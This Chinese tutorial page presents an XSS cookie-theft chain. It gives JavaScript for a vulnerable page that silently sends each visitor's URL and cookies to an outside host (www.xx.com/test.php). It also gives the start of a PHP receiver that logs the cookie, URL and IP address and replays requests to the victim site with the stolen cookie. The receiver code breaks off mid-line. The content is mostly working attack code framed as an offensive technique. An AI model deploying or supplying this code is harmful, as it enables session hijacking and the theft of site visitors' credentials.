XSS之正向攻击脚本安全 -电脑资料

    访客访问被XSS的页面——》XSS JS将客户端COOKIE+访客浏览器上的URL+访客IP发送到处理端－－》处理端接收到以上信息后，将封包发送到攻击端

    示例说明：

    如果http://www.vul.kr/index.php 源文件中存在JS代码如下：

    //----------------------------XSS页面------------------------

    function getURL(s) {

    var image = new Image();

    image.style.width = 0;

    image.style.height = 0;

    image.src = s;

    }

    getURL("http://www.xx.com/test.php?url="+encodeURIComponent(location.href)+"&cookie="+encodeURIComponent(document.cookie));

    当访问者访问 http://www.vul.kr/index.php 时，以上JS会将访客当前的网址和COOKIE一并发到 www.xx.com/test.php文件进行处理

    //--------------------test.php处理端--------------------------

    error_reporting(0);

    set_time_limit(0);

    $url=$_GET['url'];

    $cookie="NULL";

    $addr="NULL";

    $str="";

    $C="";

    if(strlen($_GET['cookie'])>2)$cookie=$_GET['cookie'];

    if(strlen($_SERVER['REMOTE_ADDR'])>2)$addr=$_SERVER['REMOTE_ADDR'];

    $url=str_replace(chr(92),chr(47),$url);

    $hv=substr($url,7,strlen($url));

    $dv=strpos($hv,"/");

    $host=substr($hv,0,$dv);

    $myurl=substr($hv,$dv,strlen($url));

    if(strpos($host,":")>0){

    $hostport=explode(":",$host);

    $myhost=$hostport[0];

    $myport=$hostport[1];}

    else {$myhost=$host;$myport=80;}

    $str = f_socket($myhost,$myurl,$host,$myport,$cookie);

    $str=$str;

    $str="\r\n\r\nURL:".$url."\r\nCookie:".$cookie."\r\nAddress:".$addr."\r\n\r\n\r\n".$str;

    $C = "